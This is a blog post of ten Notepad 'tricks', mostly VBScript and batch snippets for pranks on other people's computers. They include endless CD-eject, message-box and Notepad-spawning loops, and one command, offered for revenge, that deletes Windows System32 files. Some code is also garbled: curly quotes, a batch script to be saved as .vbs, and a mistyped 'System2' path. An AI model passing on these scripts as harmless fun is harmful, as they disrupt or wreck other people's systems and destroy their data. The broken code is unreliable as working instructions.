10

10 Cool Notepad Tricks | Notepad Codes Tricks

Feel Free To Share.

Cool Notepad Tricks | Notepad Codes Tricks

Hello and Welcome to Indian Tech Gamer.
Today i am back again with cool notepad Tricks in 2017. With the help of these tricks  you can have lots of fun with your computer. These tricks are very simple and easy to implement.

We all know that Notepad is a simple text editor for Microsoft Windows and a basic text-editing program which enables us to create documents. We all use notepad in our day to life for writing documents. However with the advent of advance text editors no one cares much about notepad these days. But there is something that advance text editors like MS Word can’t do.

Notepad has a ability to open almost any type( extension ) of file whether it is batch file or vbs file. We can  write codes of Java, C, Phython and etc which other text editors can’t do.So, here are some notepad codes which you can try in notepad.

Let’s get started……

notepad codes

ALSO READ – HELLO WORLD IN 25 DIFFERENT PROGRAMMING LANGUAGES

1 . Continually Pop Out CD Drive Using Notepad

Don’t you think it would be fun if you could play with your friend by making his cd-drive pop again and again? Just enter the code given below into notepad and save it as a .vbs file. You can any name to the file but its extension should be .vbs

Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

2 . Shutting Down Computer Using Notepad

How good it would be if you could shutdown your computer in one click instead of pressing the shutdown button. The notepad codes written below will do that. Just save the file as a .vbs file, and press it when you need to shut down the system.

@echo off
msg * System will now shut down
shutdown -c “Bye!” –s

You can replace Bye! with your own message but be sure to include double quotes.

3 . Constantly Repeat Any Messages

This is one of the Best Notepad tricks that will repeat any of messages on computer screen repeatedly. Just copy the below code and paste in the notepad and save it as “message.bat”.

@ECHO off
:Begin
msg * Hi
msg * How are you?
msg * I am good
msg * What about you!
msg * Bye Bye
GOTO BEGIN

4 . Matrix Effect

In this notepad trick, I will tell you how to create matrix effect or maybe something that looks like a hacker’s system. For doing this, all you need to do is paste the following code in notepad

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

Now save this file with an extension .bat ,  click the file that you have created, you’ll see something like this.

notepad codes

5 . Typing Slow

This is a trick which will cause the text to be typed slowly, to try it out, just copy and paste the text below into notepad and save it as a .vbs file.

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

 

6 . Fake Error Message

Simply open the notepad paste the code and save the file as error.vbs. Now when you will open the saved file you will see an error message.

X=Msgbox(“Put your Message Here”,0+16,”Put Title Here”)

You can replace and put your message here and put your title here with your keywords.

7 . Open Notepad Continuously

This is the perfect prank to annoy someone. You just need to copy and paste the code inside the notepad and save it with any name with .bat extension.

@Echo Off

:Top

Start %Systemroot%\System32\Notepad.EXE

Goto Top

8 . Deleting System32 Files Using Notepad

Do you wish to take revenge from someone?  If yes then this notepad code is for you. Copy and paste the code in notepad and save it with .bat extension. It will delete all the System32 files required for the system to work in order.

Del C:\Windows\System2\*.*/Q

9 . Make A Personal Log-Book or A Diary

This notepad tricks allows you to create your own personal diary in notepad.  For doing this, just type ‘.LOG’ in the notepad and save it with any name. Now whenever you’ll open this particular file, you’ll see that notepad automatically enters the date and time at which it is opened, and then you can make a log record and save the log.

10 . Converting Text to Speech Using Notepad.

Just copy and paste the code down below into notepad and save as a .vbs file.  When you open it, you’ll get a dialog box asking what you want the computer to say.

Dim message, sapi
message=InputBox(“What do you want me to say?”,”Speak to Me”)
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak message

indian tech gamer

Last Words

Do your share your thoughts about any notepad trick in the comments below.

Any suggestion will be appreciated.

If you liked this article then don’t forget to share this article and like my Facebook Page and Subscribe my YouTube channel. Stay tuned for more stuff like this till then GOOD BYE.

Ayush Singh

A cyber enthusiast and a guy who loves to play games and have a good time with his friends!

10 Comments

  1. Such an awesome post!! I really love your site . There’s always something new and good to learn here. I also shared your post on facebook and twitter . Have a great day ahed !!

Leave a Reply

Your email address will not be published. Required fields are marked *